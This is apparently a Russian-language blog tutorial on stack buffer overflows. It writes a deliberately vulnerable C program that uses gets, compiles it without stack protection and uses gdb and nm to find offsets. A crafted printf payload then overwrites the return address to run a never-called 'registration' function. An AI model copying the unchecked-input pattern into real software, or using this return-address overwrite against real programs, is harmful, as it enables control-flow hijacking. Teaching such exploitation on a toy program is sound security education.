Здесь рассказываю о том, чем опасна ошибка переполнения буфера. Кто может чем-то дополнить, или добавить интересного - буду признателен. Мне такокого рода темы интересны. Остальным может быть просто интересно почитать и попробовать.
Также статья доступна на моем сайте: http://arturk.weebly.com/6/post/2013/04/3.html
Все, кто много работает с компьютерами, в своей практике встречались с ошибкой, которая начинается со слов Segmentation fault. Эта ошибка чаще всего является результатом переполнения буфера в программе, выделенного под определенный кусок кода. И очень не многие понимают возможный ущерб от такого рода ошибок. На примере простой программы написанной и скомпилированой нами я покажу вам то, что можно сделать с помощью такой ошибки.
Для начала напишем простенькую программу на С, и назовем файл hidden.c
#include "stdio.h"void RegisterThis()
{
puts(“Now this program is registered”);
}void Work()
{
char buffer[5];
gets(buffer);
puts(buffer);
}int main()
{
Work();
return(0);
}
Думаю, всем понятно, что будет делать эта программа. В ней будет выполняться только одна функция Work(), которая считывает введенное слово и печатает его. На хранения слова выделен буфер в 5 символов. Я плохой программист и вот взял и поленился добавить проверку на максимальную длинну вводимого пользователем слова. В этом ведь не будет ничего страшного?
Также в моей программе присутствует функция, которая должна бы регистрировать эту версию и расширять её функциональность, допустим после уплаты некоторого количества золотого эквивалента в любимой валюте на мой счет. Называется она RegisterThis() и, как видите, никогда не вызывается.
Теперь давайте скомпилируем эту программу. Поскольку современные компиляторы умеют сами исправлять ошибки таких криворуких программистов как я, то, для демонстрации кода, мне придется специально попросить мой компилятор не защищать стэк программы от переполнения буфера параметром компилятора --no-stack-protector. А также, я применю параметр -ggdb , который позволит дебаггеру gdb лучше усваивать и анализировать скармливаемый исполняемый файл. Компилируем:
gcc -fno-stack-protector -ggdb -o hidden hidden.c
Скомпилировалось, собралось и теперь у меня есть исполняемый файл hidden. Испытаем его на работоспособность:
arturk@arturk-Aspire-5536 ~/workspace/HAcking/tut1 $ ./hidden
12345
12345
Работает. После запуска программы я ввел значение 12345 и программа напечатала мне это же значение. В дальнейшем я буду использовать програму printf, присутствующую на всех юникс системах, чтобы избавить себя от необходимости вводить значение внутри моей программы. Например:
arturk@arturk-Aspire-5536 ~/workspace/HAcking/tut1 $ printf "12345" | ./hidden
12345
С программистом закончим. Теперь я превращаюсь во вредного пользователя, получившего эту программу. Будучи особо вредным, я сразу заинтересуюсь максимальной длинной вводимого слова, а точнее тем, проверяет ли её программа. Узнать это можно отправив ну очень длинную строку в программу. В жизни я бы взял текст тысяч на 50 символов, но здесь для примера я сделаю это так:
arturk@arturk-Aspire-5536 ~/workspace/HAcking/tut1 $ printf "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" | ./hidden
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault
Вредный пользователь доволен. Он заметил, что стек может быть переполнен. Посмотрим на причину нашей радости с помощью дебаггера (дизассемблировав функцию main, можно увидеть что в ней вызывается функция Work, так что я сразу перейду к дизассемблированию функции Work).
arturk@arturk-Aspire-5536 ~/workspace/HAcking/tut1 $ gdb -q ./hidden Reading symbols from /home/arturk/workspace/HAcking/tut1/hidden...done. (gdb) disas Work Dump of assembler code for function Work: 0x000000000040056c <+0>: push %rbp 0x000000000040056d <+1>: mov %rsp,%rbp 0x0000000000400570 <+4>: sub $0x10,%rsp 0x0000000000400574 <+8>: lea -0x10(%rbp),%rax 0x0000000000400578 <+12>: mov %rax,%rdi 0x000000000040057b <+15>: callq 0x400440 <gets@plt> 0x0000000000400580 <+20>: lea -0x10(%rbp),%rax 0x0000000000400584 <+24>: mov %rax,%rdi 0x0000000000400587 <+27>: callq 0x400420 <puts@plt> 0x000000000040058c <+32>: leaveq 0x000000000040058d <+33>: retq End of assembler dump.
Итак, анализируем функцию Work. По смещению +4 мы видим sub $0x10, %rsp , что значит что мы выделяем 16 байт на стек. Это не так важно. Важнее следующая запись - lea -0x10(%rbp), %rax. Это как раз то место, где выделяется память под переменную buffer из нашей программы. И хоть мы и указывали, что нам необходимо всего 5 символов типа char, компилятор решил выделить нам для переменной целых 0х10 байт = 16 байт. Это значит, что переменная buffer может хранить целых 16 символов не вызывая ошибки. Поскольку я использую x64 процессор, то размер адресов памяти у меня 8 байт (на х32 размер 4 байта, так что надо действовать соответственно). Значит, полностью заполнив 16-ю символами буфер переменной мне надо добавить ещё 8 символов, чтобы затереть текущий адрес стека, а потом ввести адрес функции которую мне хочется выполнить. Вроде как сложно понять, особенно если нету знаний ассемблера, но покажу на практике.
Готовим строку на 16 байт:
0123456789abcdef
Добавляем к ней 8 символов, чтобы перекрыть адрес стека:
0123456789abcdefxxxxxxxx
Теперь найдем адрес функции регистрации (можно и в gdb посмотреть но я покажу другой способ):
arturk@arturk-Aspire-5536 ~/workspace/HAcking/tut1 $ nm hidden | grep RegisterThis
000000000040055c T RegisterThis
У меня процессор архитектуры IBM, это значит, что информация в нем записывается от младших байтов к старшим и адрес функции нужно записать по байтам "задом на перед": 5с 05 40 00
Запишем финальную строку для кормления нашей программе:
0123456789abcdefxxxxxxxx\x5c\x05\x40\x00
Теперь скормим её программе:
arturk@arturk-Aspire-5536 ~/workspace/HAcking/tut1 $ printf "0123456789abcdefxxxxxxxx\x5c\x05\x40\x00" | ./hidden
0123456789abcdefxxxxxxxx\@
Now this program is registered
Segmentation fault
Как видите, с помощью ошибки переполнения буфера, плохой парень смог взять под котроль программу и запустить функцию, которая никогда не должна была запуститься. Результат - потеря денег, данных и всего прочего, к чему можно получить доступ.